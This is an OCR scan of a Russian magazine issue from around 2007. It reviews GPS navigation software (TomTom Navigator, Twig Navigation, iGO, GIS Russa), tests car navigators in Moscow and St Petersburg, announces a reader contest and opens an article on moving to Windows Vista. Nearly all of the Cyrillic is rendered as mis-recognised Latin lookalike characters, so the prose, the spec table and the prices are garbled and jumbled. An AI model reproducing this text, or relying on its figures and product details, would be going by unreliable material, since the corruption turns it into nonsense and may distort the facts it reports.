c 1 anpemi no 31 miohr 2007 r. 
floApodHocTu ax \\m Ha www.smarttrack.ru 



Ce30H 

npHLUJlM 

5 pa3HblX H306pa>KeHMM XMBOTHbIX 
c Jifo6bix ynaKOBOK c flucxaMM 

SmartTrack m BbiurpaM 

oflnH M3 cynepnpM30B 



MP3 nneep Kingston PMP K-PEX100, mmc^pobom cfx)ToannapaT 
Canon A640 PowerShot, BMfleoKaMepa SONY DCR-DVD305E 


Kawflbm ynacTHHK aKumi rapaunipoeaHO 
nouynaei 6peji0K-c|)0HapMK. 


riMCbMa c o6fl3aTenbHbiM yKa3aHneM OI/IO, 
HOMepa Tenec|DOHa m o6paTHoro aApeca 
(MHAeKC o6n3aTeneH) Heo6xoAMMO HanpaB/iBTb 
no aApecy: 123007, r. MocKBa, a/n 17 

C nOMeTKOM «Ce30H OXOTbl» 


BHMMaHne! Ha nojiMrpacfDMM 6aHOK 2 M3o6pa>KeHMn 
XMBOTHoro, noaTOMy Tbi Moxeiub odMeHMBaTbcn oahmm 
M 3 HMX CO CBOMM flpyrOM MUM 3HaKOMblM. 
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2 HaBHraijHOHHbiM cottu: 


HTO BblfipaTb? 


CpeflM cyi^ecTByioi^Mx Ha pbiHKe reowHcfDopMauMOHHbix nporpaMM He Tax y>K m MHoro 
flewcTBHTejibHO nojie3Hbix ajih pocci/iMCKi/ix ycjiOBMM. OflHi/iM He xBaiaeT KanecTBeHHbix 
KapT Pocci/im, flpyrmvi — noflflep>KKM pyccxoro H3biKa. noKa i/iflea/ibHoro npoBOflHi/iKa 
He cymecTByeT, ho mo>kho BbiOpaTb iview^y Hawdo/iee yflamiMii o6pa3uaivM. 


B o tom pa3flene 

TomTom Navigator 
Twig Navigation 

iGO 

fl/IC Pycca 


TomTom Navigator 

Cairn www.tomtom.com 

TomTom Navigator — oaHa H3 Jiyniniix 
HaBHrau;HOHHbix nporpaMM ana mo6hjii>- 
HblX yCTpOHCTB, CyUXeCTByKDLLXHX Ha ceroa- 
HHIHHHH aeHb. OHa OTJTHHaeTCH yao6HbIM, 
no cpaBHeHHio c KOHxypnpyioiaHMH 
pemeHHHMH, HHTep^encoM, no3BOjnno- 
niHM oboifracb 6e3 CTKJiyca: ynpaBjieHne 
Moamo ocymecTBJiHTb najibneM, hto oco- 
6eHHO yaobHO ana aBTOMo6njincTOB. 
IlporpaMMa cymecTByeT b Bepcnax non 
Windows Mobile, Symbian n Palm OS, 
npn 3 tom Ha Bcex njTaT(()opMax noaaepacn- 
BaeTCH naeHTHHHaii (j)yHxii;HOHajibHOCTb. 
npOayKT OpneHTHpOBaH b ochobhom Ha 
3anaaHyK) EBpony, noaTOMy Hanbonee 
noapobHbie xapra C03aaHbi hmchho ana 
3THX CTpaH. npn 3TOM cymecTByioT pa3- 
Hbie BapnaHTbi «c6opKH» — xax no OTae- 
jibHbiM CTpaHaM, Tax n hcckojibkhm cpa3y, 
ho CTeneHbio aeTajin3an;HH ohh He otjih- 
naiOTca. CaeayeT obpaiHTb BHHMaHne Ha 



tomtom 

NAVIGATOR 6 


TOMTOM NAVIGATOR 


| PyccKMM nojib 30 BaTe- 
nm jiynme nyiewecTBOBaTb, men c co6om 
ii noTym, n LuecTym eepenw nporpaMMbi 


to, hto ana pa3Hbix BepCHH TomTom 
cyuxecTByKDT KapTbi, HecoBMecTHMbie apyr 
c apyroM. IlpH 3TOM 60Jiee CBeacaa BepCHa 
He Bceraa coaepacnr bonee HOByio KapTy. 
B nacTHOCTH, 3 to aKiyajibHO ana Pocchh. 
Tax, noa mecTOH TomTom cymecTByioT 
npexpacHbie noapobHbie KapTbi Mockbbi 
h IleTepbypra (npaBaa, ycTapeBmne 
roaaHa Tpn). Ohh ace BxoaaT b orpOM- 
Hyio xapTy UeHTpajibHOH h Boctohhoh 
EB ponbi, oaHaKO Poccna KpOMe aeyx cto- 
jihu; Ha Hen npeacTaBjieHa Jinmb TpaccaMH 
MocKBa— IleTepGypr— OHHaaHana, 
IleTepbypr— TajuiHHH h IleTepbypr— Khcb. 
IlpH 3 tom KapTa Boctohhoh EBponbi ana 
naTOH BepCHH Ha HecmiibKO nopaaxoB 
noapobHee, xoth h coaepacnr oimibKH — 
no KpynHbiM ropoaaM npoaBHraTbca c ee 
nOMOLHbK) He OHCHb npHaTHO, XOTa ecjin 
bbi He 3HaeTe MecTHocTb Boobiae, Bee 
paBHO He 3a6jiyanTecb, nycTb aaace Ha3Ba- 
HHa yawn npnaeTca rmcaTb TpaHCJinroM. 
Ilo3TOMy naeajibHoe pemeHne — hmctb 
oaHy (Jmenixy c TomTom 5, a apyryio — 
c TomTom 6. 

Twig Navigation 

CaMT: www.twigworld.com 

B Teae4>OHax ceMencTBa Twig Benefon 
Hcnojib3yeTca cobcTBemiaa HaBHrauHOH- 
Haa miaT(jDopMa Twig Navigation h xapTO- 
rpacJiHaecKHe aamibie NAVTEQ. B 3tom 
T aHaeMe NAVTEQ OTBenaeT 3a tohhoctb 
IU iaHOB MeCTHOCTH, OHHCaHHe obbeKTOB H 
npaBHji aBHxeHHa: KapTbi NAVTEQ 
coaepacar HH^opMaamo o 204 napaMeTpax 
aopora, BKjHonaa ckopocthoh peacHM, Tnn 
aBnaceHH a, (J)H3HHecKHe npenaTCTBHa, 
obbeKTbi POI (Points of Interest) h t. n. 
A Twig Navigation npeacTaBjiaeT cobon 
rpa(J)HHecKyio obonomcy ana aocTyna ko 

BCeM (J>yHXHHHM CHCTeMbl. 

OcHOBHaa <J)yHKu;Ha Twig Navigation — 
aBTOMaranecKoe nocTpoemie nym ao 
oaHoir nan HecicojibKHx tom ex Ha3Hane- 
Hna c aBTOMaTHaecKHM nepepacneTOM 



TWIG NAVIGATION 


| CoBMemeHMe MofiwnbHo- 
ro TenecJ) 0 Ha n GPS-npneMHHKa - yflaHHan 
Mflea KOMnaHMM Benefon 


npn cxoae c Mapmpyra h BbiHHCJieHneM 
BpeMeHH npnbbiTHa. Ilpn 3 tom yHHTbiBa- 
eTca BbibpaHHbiH cnocob nepeaBHaceHHa: 
aBTOMobnjib, Beno- h MOTOTpaHcnopT 
hjih nemaa xoabba, a Taicace oaHH H3 asyx 
THnoB Mapmpyra — caMbiii bbiCTpbiH hjih 
C aMblH KOpOTKHH. 

Aapec Ha3HaneHHa Moamo 3aaaTb Bpya- 
Hyio, BbibpaTb H3 cnncKa H36paHHbix hjih 
nocemeHHbix MecT, a bjiaroaapa TecHoii 
HHTerpaaHH c TejiecjDOHOM — H3 aaHHbix 
KOHTaKTOB. TaKHM aapecoM MoaceT 6 bitb 
h banacaHUTHH HHTepecyiomHH obbexT, a 
Bcero b ba3e aaHHbix Twig Navigation 
coaepacHTca HH^opMaana o 58 pa3JiHH- 
hhx mnax POI — ot A3C ao hixoji. 

IlepeMeiaeHHe no Mapmpyry conpOBoac- 
aaeTca HHHHxamieH POI, rpactmaecxaMH 
noacKa3KaMH MaHeBpOB h tohocobbimh 
KOMM eHTapnaMH Ha aeBara a3bixax, 
Bxjuonaa pyccKHH. KpOMe toto, aocTyn- 
hbi aea Bnaa xapT — aByxMepHbie h Tpex- 
MepHbie, Hecxojibxo CTyneHeii MacmTa- 
bHpOBaHHa b anana30He ot 5 m ao 30 xm h 
aBTOMacmTabHpoBaHHe . 

Bjiaroaapa iuiaTHoii cncTeMe HHTepHeT- 
MOHHTOpHHra no aapecywww.twigworld.com 
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MOvKHO y3HaBaTb nojioxeHHe BjiaaejibueB 
Twig Finder, HaxoAflmnxcH b jik> 6 oh Tonxe 
3 eMHoro niapa, npn ycjiobhh, hto ohh 
pa 3 peniHjin 3 to h HaxoAHTCH b 30 He Aenc- 
TBHH COTOBOH CeTH. 

iGO 

Cain: www.i-go.com 

HaBHrannoHHbin naxeT iGO npeAHa3Ha- 
neH rjw KIIK h KOMMyHHKaTOpoB Ha 
ocHOBe OC Windows Mobile, ocHameH- 

HblX CJIOTOM AJTH KapT naMHTH (J)OpMaTa 
SD hjih minis D. OcHOBa iGO — itHcbpo- 
Bbie KapTBi Tele Atlas c noApodHbiMH aan- 
hbimh o napaMeTpax Aopor h BCTpoeHHoii 
6a3on aaHHbix odbexroB POI (Point of 
Interest). B 30 He oxBaTa Tele Atlas nonra 
30 CTpaH EBponbi, Bxjnonaii Pocchio. 

HHTep 4 >eHC paccnHTaH Ha ceHcopHbie 
AHcrnien co CTaH^apTHbiM QVGA- 
h yBejiHneHHBiM VGA-pa 3 pemeHHeM. 
KpynHbie sxpaHHbie xjiaBHHiH attanTH- 
pOBaHbi ajih npocToro ynpaBjieHHH c 
noMombK) HaxaTHH najibijaMH pyx, hto 
H 36 aBjweT ot Hcnojib 30 BaHHH CTHjiyca. 

CTaH^apTHbie cbyHXAHH iGO — npo- 
xaaAxa Mapmpyra no oahoh hjih Hecxojm- 
khx tohck c BbinHCJieHHeM pacneTHoro 
BpeMeHH npndbiTHa — conpOBO^aiOTcn 
pHAOM CepBHCHbIX B 03 M 0 JKH 0 CTeH, BKJTK 3 - 
nan yaajieHHe Heny>KHbix nyreBbix Tonex, 
pacneT odbe 3 AHoro nyra, a Taxxe 3 anHCB 
h BOcnpOH 3 BetteHHe Tpexa. B nncjie onu;HH 
HCXJiioneHHe onpettejieHHbix ranoB Aopor, 
Bbidop oahoto H 3 ceMH cnocodoB nepe- 
ABKxeHHH (ot TaxcH ao nerneH xoAbdbi) h 
oahoto H 3 Tpex TnnoB Mapmpyra — 6 bict- 

pBlit, XOpOTXHH HJIH C 3XOHOMHeH TOILJIH- 

Ba. /],BH 3 ceHHe no nyra conpOBOJKAaeTCH 
HHjmKaHneH POI, cjienyfomero MaHeBpa 
H TOJIOCOBblMH noacKa 3 KaMH. 



fftf/1 1/lHTejuieKTyajibHoe MacunabupoBaHue 
flaeT B03M0MH0CTb BOBpeMfl yBMfl6Tb 
HyMHbIM nOBOpOT 


XapaKTepwcTHKM fMC 


CMCTeMa/oco6eHHOCTii 

TomTom 

Navigator 

Benefon 

Navigation 

iGO 

fl/IC Pycca 

OxBaT 

EBpona, CLUA, 

KaHaAa, 

ABCTpaBMJl 

19 CTpaH i/i 

pemoHOB 

EBponbi 

26 CTpaH 
EBponbi 

Pocci/ih I/I 
bni/i>KHee 
3apybe>Kbe 

ABTopacneT MapmpyTa 

• 

• 

• 

C HeKOTOpbIMI/l 
KapTaMi/i 

COBMeCTUMOCTb 

Windows 
Mobile, Palm 
OS, Symbian 

Benefon Twig 
Discovery 

Windows Mobile 

Windows Mobile 

PacnpocTpaHeHMe 

l/lmepHeT 

Benefon Twig 
Discovery 

SD/miniSD 

1/lHTepHeT/CD 

06HOBjieHMH/cnoco6 

nojiyneHMfl 

becnnaTHO 
nepe3 I/I HTepHeT 

HeT flaHHbix 

becnnaTHO 
nepe3 I/I HTepHeT 

becnnaTHO 
nepe3 I/I HTepHeT 

UeHa KapT/o6ooo4KH 

OKono €50/129* 

ot €99/- 

ot €1 29/— 

€73**/€29 


* nporpaMMa + KapTbi 3anaflHOM EBponbi 

** CTOHMocTb naKeia KapT Tele Atlas fl/ia MocKBbi m CaHKT-neiepbypra 


KapTbi OTodpaxaiOTcn b AByx BapnaH- 
Tax — flByxMepHOM h TpexMepHOM 
c pa 3 jmnHbiM MacnrradoM h HHTejuiex- 
TyajibHbiM aBTOMacmTaOnpOBaHHeM. 
npettycMOTpeHBi ABe ABeTOBbie cxeMBi: 
odbrnHan, c itBeTaMH dyMajKHbix xapT h 
dojiee xoHTpacTHan, h TeMHan HOHHan, 
yAodHan b TeMHoe BpeMH cyTOx. 

B iGO ecTB 3 xpaH noApodHoii HHcjiop- 
MaiJHH O KOOpAHHaTaX H CnyTHHXOBOH 
rpynnHpOBxe, a Taxxe cjiyHKHna chhxpo- 
HH 3 an;HH BpeMeHH no cnmajiaM GPS. 

rilC Pycca 

Cain: www.gisrussa2.ru 

«THC Pycca» — 3 to HaBnraHHOHHaa iuiar- 
$opMa c radxHMH HacTponxaMH, coBMec- 
THMan C HeCXOJIbXHMH THnaMH HH(J)pOBbIX 
xapT, BKjnonaa codcTBeHHbin cbopMar RUS 
h IMG, pacnpocTpaHeHHbiii b HaBHraro- 
pax cJjnpMbi Garmin. 3 to no 3 BOJineT nojib- 
30 BaTbcn xax yjxe roTOBbiMH, Tax h C 03 AaH- 
HbiMH caMOCTOBTejibHO xapTaMH. Taxxe 
AOCTyneH xoMiuiexT xapT Mocxbbi h 
C aHxr-IleTepdypra ot Tele Atlas. 

IlpH Hcnojib 30 BaHHH odbiHHbix xapT 
CHCTeMa onpeAejmeT Texymee nojiojxe- 
Hne, a Taxxe noxa 3 biBaeT HanpaBjieHne 
h paccTonHHe ao tohxh Ha3HaneHH5i c 
BBIHHCJieHHeM BpeMeHH npHdBITHH. Co 
CneitHaJIBHbIMH xapTaMH B 03 M 0 JXeH 
aBTOMaTHnecxHH pacneT MapmpyTa ao 
yxa 3 aHHoir tohxh. 

B nncjie Apyrnx cpyHKHHH «THC Pycca» 
rojiocoBBie noACxa 3 XH, 3 anHCb TpexoB h 


nyreBbix Tonex, noncx HacejieHHbrx nyHx- 
tob h o 6 bexroB b HHX, BXjHonan noncx no 
aApecy h djnDxaHiHHM odbexraM. HMeeTcn 
3 xpaH HH(J)opMau;HH GPS h enneox H 3 
60 HH(J)OpMaHHOHHbIX AaTHHKOB, OTOdpa- 
jxaioiAHx cxopocTb, npoitACHHoe paccTon- 
HHe, Bbicoiy, 3 apAA daTapen h t. n. 

JXjw yAodcTBa npeAycMOTpeHbi yexo- 
peHHoe MacmTadnpOBaHHe xapT h aAan- 
TaitHH ABeTOBOH CXeMBI X AHeBHOMy HJIH 
HOHHOMy BpeMeHH CyTOX C aBTOMaTH- 
necxHM hjih pymibiM nepexjuoneHHeM. 
■ ■ ■ Ceprew HepHOB, l/liiba UJaimiMH 



yflodHa 6 /iaroflapfl 

noflflepjKKe MHOwecrBa cjiopiviaTOB KapT m 
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am? TOP STORY 


3 TecT-apawB: 


ot Teopi/m k npaKTi/iKe 


HawM aBTopbi npoBejin TecTHpoBam/ie Tpex KapT — TomTom Navigator, Navitel m Navteq — 

Ha pa 3 JiMHHbix GPS-ycTpoMCTBax b MocKBe m lleTepOypre. PeKOMeHflyeM BaM npMCJiywaTbca k 
B biBOflaM, KOTopbie ohm cflejia/iM noc/ie npoBepKM padoTbi HaBMraTopoB b «no;ieBbix yc/iOBMflx». 


B a tom pa3flene 

ASUS c KapTOM TomTom Navigator 
no Navitel Ha KnK 

PaOoTa c HaBi/iraTopoM Twig Discovery 
l/lcno/ib 30 BaHi/ie Twig Locator 


nyiemecTByMTe ahcm m HOHbio 

nepBbiM flejiOM cjreAyeT otmcthtb bbico- 
Kyio ByBCTBHTeJIBHOCTB KITK ASUS 
A636N, HcnojiB3yeMoro b xanecTBe GPS- 
npneMHHKa — AOcraraeTCii oHa hcxjiio- 
HHTeJIBHO npH OTKHHyTOH BHeiHHeH 
aHTeHHe. O^Haxo «xojioahbih CTapT» chc- 
TeMBI 3aHHMaeT KaTaCTpOCpHMeCKH MHOTO 
BpeMeHH — 3HaHHTejiBHO 6ojiBine 3aaB- 
jieHHoro. IlopOH onpe£ejieHHH xoopAH- 
HaT npHXOAHTCiT >I<aaTB HeCKOJIBKO MHHyT. 
KapTa TomTom Ha otom ycTpoftcTBe 
3arpy>KaeTCH HOpMajiBHO OjiaroaapH mohi- 
HOMy npoueccopy Intel c TaxroBOH nacTO- 
toh 416 MTij. JIhihb Ha oneHb cjioxchbix 
K apTax npH OToOpaxeHHH 6ojibmoro 
KOJIHHeCTBa pa3H006pa3HbIX 06T>eKT0B 
Ha6jTK>AaeTCH nepeMenjeHne pbiBxaMH. 

PycH(J)HKaLtHH Kax caMoro HHTepcpeH- 
ca, Tax h rojiocoBbix noflcxa30x ocTaB- 
jureT xejiaTb jiymnero, nooTOMy yao6Hee 

n0JIb30BaTbC5T aHrjI05T3bIHH0H BepCHeH. 
IIokjiohhhkh xe BejiHKoro h Morynero 
pyccKoro H3bixa pncxyiOT yexaTb xyzja- 




C dOJlbLUMM 
VGA-flMcn/ieeM 
0TJ1MHH0 nOflXOflMT 
AiiR pa6oTbi 
c KapTorpac|)MHecKM- 
MM npMJlOMeHWIMM 


NAVIGATOR 4700 



MITAC MIO 169 


O/IMH M3 nepBbix KnK 
CO BCTpoeHHbIM GPS, flM3aMH 
KOToporo pa3pa6oTaH c yneTOM 
ropM30HT3JibHOM opiiSHTauiiii axpaHa 


Hn6yAb He Tyaa, ra^an Ha# cppa3aMH THna 
«nepeceKHTe pOTOH^y, btopoh CT>e3fl» (b 
to BpeMn xax 3to Bcero jinmb 03HanaeT, 
hto Ha xpyroBOM nepexpecTxe Hyxmo 
exaTb npHMo). HHTepcpeHC nporpaMMbi 
opneHTHpOBaH Ha Hcnojib30BaHHe He 
CTKJiyca, a najibiieB: jijm (J)yHxiiHOHajib- 
hbix xjiaBHm 3to yaoGHO, a bot bbo^htb 
TexcT, HanpHMep Ha3BaHHe yjnmbi, /jaace 
Ha 3,5-aiohmobom ^Hcmiee najn>u;eM 
Tiixcejio — to h #ejio npOMaxHBaembCir 
MHMO XHOnOX. 

IIporpaMMa yMeeT aBTOMaTnnecxH 
peryjiHpOBaTb rpOMxocTb tojiocobbix 
n0ACXa30X B 3aBHCHMOCTH OT CXOpOCTH, 

a Taxace Ha 6ojibihoh cxopocra otxjho- 
naTb ^HcnjieH H3 cooOpaxceHHH 6e3onac- 
HOCTH, HT06bI BOAHTeJIb Ha UQTO He 
OTBjiexajicn. Pa^yeT Hajimme #HeBHoro h 
hohhoto pexcHMOB. Enje o^Ha npHiiTHan 
oco6eHHOCTb: npH npona^aHKH cnmajia 
co cnyTHHxoB, HanpHMep npH Bi>e3 #e b 
TOHHejib, H3o6paxceHHe CTaHOBHTcn 
nepHO-6ejibiM, ho bbi Bee paBHO «H#eTe» 
no xapTe, npmieM c toh xe cxopocTbio, 
HTO H A O nOTepH CBH3H. 

A bot b nemexo^HOM peacnMe TomTom 
He Tax y^o6eH: Ha Majibix cxopocrax #bh- 
xceHne nponcxoAHT cxanxoo6pa3HO — 
MOvKHO npOHTH HeCXOJIbXO COTeH MeT- 
pOB, h tojibxo nocjie 3toto Bame nojio- 
xceHne Ha xapTe H3MeHaeTcn . 


HaBuraTop ajib Ha/iaAOHHUKOB 

TecT xapT Navitel 2.0 mbi pemHjin npo- 
BecTH c ynacTneM caMbix pa3Hbix MO#e- 
jien KIIK, Tax hto Ham aBTOMoOnjib 6biji 
HeMHoro noxox Ha nepeflBmxHOH xom- 
nbiOTepHbiH cynepMapxeT. Oahhm H3 
noaonbiTHbix CTaji Pocket Navigator 4700 
b npOHHOM xopnyce H3 MamneBoro crnia- 
Ba. B ero xoMmiexT bxo^ht HP iPAQ 
hx4700 — nepBbiH KnK c VGA-3xpaHOM 
ot HP Hto6bi noAxapMjiHBaTb Oojibihoh 
3xpaH, b xoMnjiexTe npHjiaraeTcn 3apaa- 
Hoe ycTponcTBO, xoTOpoe cjiyacHT cneitH- 
ajibHbiM GPS-^epxaTejieM h noMoraeT 
jiymne cjibimaTb HaBHraTOp. flocTaTOHHO 
6y^eT BCTaBHTb cboh KnK b 3tot ^epxca- 
TeJIb, nOflXJHOHHTb 3Byx — h Bee TOTOBO. 
Bluetooth-xaHaji npH 3tom cboGoach, h 
moxcho Hcnojib30BaTb ero xax yro^Ho: 
mbi noAXJHOHHjiH x xoMnbiOTepy coto- 
bbih Tejie4>OH h cxanajin nepe3 MHTepHeT 
cbok) nepByio npo6xy, xoTOpan oxa3a- 
jiacb, xax Bcer^a, Ha Ca^OBOM xojibu;e. 

Pocket Navigator 169 co6paH Ha ocHOBe 
MiTAC Mio 169 co BCTpoeHHbIM GPS- 
npHeMHHxoM. Y Hero, oahoto H3 nep- 
Bbix, AH3aHH 6biji pa3pa6oTaH c yneTOM 
T0pH30HTaJIbH0H opHeHTau;HH, HTO no3- 
BOJineT BbiBecTH Gojibrnnit ynacTOx xapra 
Ha 3xpaH. Pocket Navigator A201 MoxeT 
npHHHMaTb cnmaji Aaxe npn cjioxeH- 
hoh aHTeHHe, neMy cnocoOcTByeT HHnceT 
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Twig Finder: Mo 6 ii;ibHbm noxaTop 


SiRF Star III. Tax hto, noKHHyB aBTOMO- 
6 hjib, ho pxa b pyxe HaBnraTOp, bbi 
CMO^ ceTe HaHTH AOpory k AOMy xotb H3 
60JI0Ta, XOTB H3 U;eHTpa HOHHOH JKH3HH 

ctojihubi. BcTpoeHHaH aHTeHHa y Hero 
noBopaHHBaeTCH xax BepTHKajiBHO, Tax h 
T 0pH30HTaJIBH0, Aa H CaM OH KpenHTCB B 
AByx no3Hu;HHX. 

Oco6bix npeTeH3HH k KapTorpacjmHec- 
koh ocHOBe He bo3hhkjio. nopaAOBajio, 
hto aopoxHbie pa3BH3KH Ha xapTe yBejin- 
HHBaiOTCH ao HyacHoro MacniTa6a oahoh 
KHO nKOH. HeCTHO npH3HaeMC5I, hto npo- 
TecTHpoBaHHaH TexHHKa He npHBejia Hac 
B 6e30rOBOpOHHBIH BOCTOpr, HO B AeJIOM 
mbi yAOBjieTBOpeHBi TeM, Kax pa6oTaeT 
aBTOMo6HjiBHaH HaBHraiiHB Ha KIIK. 

roBopMT m noKa3biBaeT Benefon 

EjiaroAapH npou;eccopy 300 M Ta, ycTa- 
HOBjieHHOMy Ha TejiecjDOHe Benefon, Ha 
3anycK ochobhoto HaBHrau;HOHHoro 
npHjioxeHHH Twig Navigation yxoAHT 
Bcero HecKOJiBKO cexyHA. HeMHoro 6 ojib- 
me, ot nojiMHHyra ao HecKOJiBKHx 
MHHyr, Twig Discovery TpaTHT Ha <J>HKca- 
AHK) CBOeil n03HU;HH — 3TO BpeMH TaiQKe 
3aBHCHT OT OKpyJKaiOIAeH 3aCTpOHKH H 
ckopocth ABicKeHHH. Ha npaKTHKe oxa- 
3aJIOCB, HTO AiTB OnpeACJieHHH KOOpAHHaT 
Tejie(J>OHy aoctatohho cnraajiOB Bcero 
AByX CnyTHHKOB, XOTH HHOTAa npH 6 bict- 
Pom ABHxeHHH b aBTOModmae Twig 
HeTOHHO onpeAejineT MecTonojioxeHHe: 
ero MeTKa OKa3BiBaeTcn b HecKOJiBKHx 
AecnTKax MerpoB ot aBTOTpaccBi. Ea30Ban 
HacTpoiiKa nporpaMMBi cboahtcb k yxa- 
3aHHio AByx o6n3aTejiBHBix ajt a tohhoto 
pacneTa Mapmpyra napaMeTpOB: CTpaHBi 
npeGBiBaHHH, ecjin ycTaHOBjieHBi KapTBi 
AJin pa3HBix CTpaH, h cnocoda nepeABH- 



mnm 

HaBMrauMOHHoe 
ycipoMCTBO Twig 
Discovery 
ocHaixeHo 
TFT-fliicniieeM 
c pa3pemeHneM 
176x220 TOHex 
(262 144 UBeia) 



OyHKUMfl «Twig Finder», Tecr KOTopon 
npoBOAM/iC5i b KOM6nHaunn Te/iec|30Ha 
Twig Discovery n ycrponcTBa Twig 
Locator, pa6oTaeT tohho m HaAOKHo, a 
OTBeT Ha 3anpoc KOopAHHaT nocrynaeT 
b TeneHMe HecKOJibKnx cexyHA. 3aTeM 
no/io>KeHne Locator OTo6pa>KaeTCfl Ha 
KapTe, Aono/iHMTe/ibHo mo>kho y3HaTb 
ero TOHHbie reorpac|DnHecKne koopah- 
HaTbi n ypoBeHb 3apaAa 6aTapen. 
OyHKAMfl «MapmpyT» c/iy>KHT AJifl 
aBTOMaTMHecKoro pacneTa nym ao 
M ecTa no/iowem/ia o6beKTa, HanAeHHo- 
ro c noMOiAbfo Twig Finder. K cneijn- 
a/ibHbm bo3mo>khoct5im Twig Discovery 
n Twig Locator npeTeH3nn Hen 
TpeBOKHaa cnrHa/iM3aun5i Twig ALert 
n KOHTpo/ib Haxo>KAeHM5i b onpeAe/ieH- 
hom 30He pa6oTafOT 6e3ynpeHH0. 

Xota Benefon Twig Discovery b 
H eKOTopbix acneKTax KaweTCfl BecbMa 
cnopHbiM pewem/ieM, oh npeAcraB/nieT 
co6om AOdaTOHHO TOHHyio m yAo6Hyio 
KOM6nHaumo Te^ec()OHa n HaBnraiopa, 
xopoiuo noAxoAfliuyio a^a OTAbixa n 
pa3B/ieHeHMM, n/iaHnpoBaHna noe3AOK 


TWIG LOCATOR KOMnjieKTyeica moiuhom 
aKKyMyjiynopHOM Oaiapeew eMKOCTbro 1 000 mAh 

nan npory/ioK. B coneiaHnn c Twig Locator 
3TO TaiOKe npOCTOM B MCnO/1 b30BaHMM 
KOMn/ieKC OTC/ie>KMBaHM5i MecTono/io>Ke- 
HMH MHTepecyiOlAMX o6BeKTOB, HTO MO>KeT 
6biTb no/ie3Ho KaK A-na 3a6oTbi o 6e3onac- 
hoctu poAHbix n 6/in3Knx, TaK n a J ifl c/iy>K6 
6e3onacHocTM n /iotucthkh He6o/ibiunx 
KOMnaHMM. Ochobhom >Ke MMHyc Benefon 
Twig Discovery h Twig Locator — 3 to otho- 
CMTe/ibHo BbicoKaa ueHa KaK caMnx 
yCTpOMCTB, T3K M KapT AJlfl HMX. 


XeHHH — aBTOM06HJIB, BeJIO-, MOTOTpaH- 
cnopT hjih neniKOM. 

BblMHCJieHHe nyTH — AeJIO CMHTaHHbIX 
cexyHA, nocjie nero CHCTeMa OTo6paxaeT 
ero Ha KapTe, npOBOAa 6 bictpbih aBTOMa- 
THnecKHH nepepacneT npH cxoAe c Map- 
mpyra. HeAOCTaTOK Twig Navigation b 
tom, hto HejiB3ii nocTpoHTB ajiBTepHa- 
THBHBIH nyTB, eCJIH BaM He HpaBHTCH 
ochobhoh, a jioraKa paGoTBi HaBHraAHH 
TaKOBa, hto nepepacneT Tpaccbi o 6 bihho 
BB ipaxaeTCH b noncKe BapnaHTOB B03- 
BpaTa Ha npexHHit Mapmpyr. KpOMe 
toto, Bbi6paHHan CHCTeMOH AOpora He 
BcerAa noHHTHa c tohkh 3peHHH 3ApaBO- 
ro CMbicjia. HanpHMep, npn ABKaceHHH 
ot MeTpo «KajiyxcKaH» k AOMy Nq40 no 
Py6jieBCKOMy mocce Twig Discovery 
ynopHO peKOMeHAOBaji nyTB nepe3 MKAfl 
c 3ae3AOM Ha Py6jieBCKoe mocce co cto- 
POhbi o6jiacTH, npn BBi6ope xax caMoro 
6 bictpoto, Tax h KpaTHanmero BapnaHTa 
Mapmpyra. npn atom tot (J)aKT, hto ao 
P y6jieBCKoro mocce moxho Ao6paTBCH 
no npHMOH, Benefon npOHTHOpnpOBaji. 
CncTeMa He OTKa3ajiacB ot CBoero peme- 
hhh Aaxe nocjie toto, KaK no3aAH ocTaji- 
ch MnHypHHCKHH npocneKT. 


E me OAHa cSHBaioman c TOJiKy oco6eH- 
HOCTB 3aKTK)HaeTCH B TOM, HTO Ha3BaHHH 
yjiHu; Ha KapTax Benefon Moryr He coBna- 
AaTB c (J>aKTHHecKHMH. HanpHMep, no 
MHeHHio Twig Discovery, aom Nq 84 Ha 
npocneKTe BepHaACKoro HMeeT aApec 
«yji. noKpBiniKHHa, a. 84». Taioie xe 

HeCTBIKOBKH OTMeHAIOTCH H B OT06paxe- 

hhh POI (Point Of Interest): b pairoHe 
AOMa Nq 30 no yji. Cejie3HeBCKoii Tejie- 
(J)oh HeoxHAaHHO noKa3aji HajiHHHe 
Kac})e «EjiKH-najiKH», xoth ero TaM He 
6 bijio. CApyroH ctopohbi, nojioxeHne 
pecTopaHa T.J.I Friday’s phaom c MeTpo 
«HoBOCJio6oACKan» HaBHraTOp onpeAejinr 
BepHO. BnponeM, 3 th h eAop a6oTK n — BHHa 
Navteq, npeAOCTaBHBmeH cboh KapTBi 
Benefon, a He caMoro ycTpoitcTBa. 

BecB nyTB Twig Discovery bcact CBoero 
BjiaACJiBu;a 6yKBajiBHO 3a pyxy djiaroAapn 
CBoeBpeMeHHBiM rpa(J>HHecKHM h tojio- 
COBBIM yKa3aHHHM. no BKyCy M03CH0 
noAodpaTB MyxcKOH hjih xeHCKHit tojioc 

Ha OAHOM H3 AeBHTH eBpOneHCKHX H3 BI- 
kob, BKJHOHan pyccKHH. npaBAa, nepeBOA 
3 thx KOMMeHTapneB Ha pyccKHH BpeMe- 
HaMH xpoMaeT. ■ ■ ■ EneHa TpaneBa, 

Ceprew HepHOB, l/ljiba UJaimniH 
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HBI? NEWS & TRENDS flepexofl Ha Windows Vista 



KoMy HyMHa Vista? 


XBan/iT jii/i moiuhoctu Baiuero KOMnbiOTepa /yia nepexofla Ha Vista? Bee jih Banin nporpaM- 
Mbi 6yflyT noflflep>KHBaTbCH hobcm OC? KaK 6e3onacHO nepeHecin flaHHbie? B stow CTaTbe 
Bbi Hanfleie OTBeTbi Ha Ba>KHbie Bonpocbi, CBmHHbie c nepexoflOM Ha Vista. 


B 3 T 0 M CTaTbe 

KaK Bbi6paTb Hy>KHyK) Bepci/iio Vista 
Pa3Jii/iHi/m Me>KAy Windows XP m Vista 
Be3onacHbm nepeHOC (fraMJiOB 1/1 npi/mowem/m 
flepBbm i/iHdpyMeHT HacipoMKi/i aha Vista 


H aKOHeu;-TO mbi ee AO^cAajiHCB. 
HoBaa BepCHir Windows npocTO 
o6iT3aHa 6 bitb jiynine CTapoii bo 
Bcex OTHOineHHHx. Bonpoc b oahom: 
HacKOJiBKO OHa HyxHa yxe cennac? 
CjiyxoB o hoboh onepan;HOHHOH cncTeMe 
npeAOCTaTOHHO. Mbi HacjiBimaHBi o Heno- 
MepHBix TpedoBaHHHx k annapaTHon 
naCTH H O TOM, HTO B Vista HeKOTOpBie 
nporpaMMBi nepecTaHyr 3anycKaTBcn. 
3aderaa BnepeA, cxaxceM, hto 6 ojtbllihhc- 


tbo iioao6hbix aombicjiob He HaniJio noA- 
TBep^KAeHHH . riepeiiTH Ha HOByio Bepcnio 
